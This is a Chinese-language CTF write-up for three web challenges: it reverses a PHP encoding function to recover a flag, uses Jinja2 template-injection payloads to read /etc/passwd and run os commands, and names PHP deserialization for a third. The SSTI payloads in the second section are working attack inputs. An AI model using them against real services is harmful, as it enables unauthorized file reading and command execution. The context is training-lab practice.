题目一:web2
打开场景
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
function encode($str){
$_o=strrev($str); //反转字符串
// echo $_o;
for($_0=0;$_0<strlen($_o);$_0++){
$_c=substr($_o,$_0,1); //取出每个字符
$__=ord($_c)+1; //给它们ascii+1
$_c=chr($__); //再转为字符
$_=$_.$_c; //组成新的字符串
}
return str_rot13(strrev(base64_encode($_))); //把新的字符串先base64编码>反转>rot13编码
}
highlight_file(__FILE__);
/*
逆向加密算法,解密$miwen就是flag
*/
?>
倒着来一遍,比较懒直接在源代码上改
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
function encode($str){
$_o=base64_decode(strrev(str_rot13($str))); // rot13解码>反转>base64解码
// echo $_o;
for($_0=0;$_0<strlen($_o);$_0++){
$_c=substr($_o,$_0,1); //取出每个字符
$__=ord($_c)-1; //之前是+1现在-1
$_c=chr($__);
$_=$_.$_c;
}
return strrev($_); //在反转
}
echo encode($miwen)
?>
运行得到 flag:{NSCTF_b73d5adfb819c64603d7237fa0d52977}
题目二:Web_python_template_injection
看题目python_template_injection应该就是模板注入
推荐学习XCTF-攻防世界CTF平台-Web类——12、Web_python_template_injection(SSTI服务器模板注入、Flask框架之Jinja2模板渲染引擎)_大灬白的博客-CSDN博客python模板注入(多种方法,CTF可直接使用)_cosmos_web的博客-CSDN博客_python模板注入
寻找可用引用{{''.__class__.__mro__[2].__subclasses__()}}
在第40个位置找到type file
{{ [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read() }}
第71个位置找到 class ‘site._Printer’类(可以进行命令执行)
命令执行
//Windows操作系统
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}
//Linux操作系统
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')}}
先试了system('ls')发现没反应是windows系统,发现两个文件利用
{{ [].__class__.__base__.__subclasses__()[40]('fl4g').read() }}读取
得到flag ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}
题目三:Web_php_unserialize
没看懂
攻防世界之Web_php_unserialize(超详细WP)_金 帛的博客-CSDN博客_攻防世界unserialize
攻防世界之Web_php_unserialize(web进阶)_0。0;的博客-CSDN博客
考点就是PHP反序列化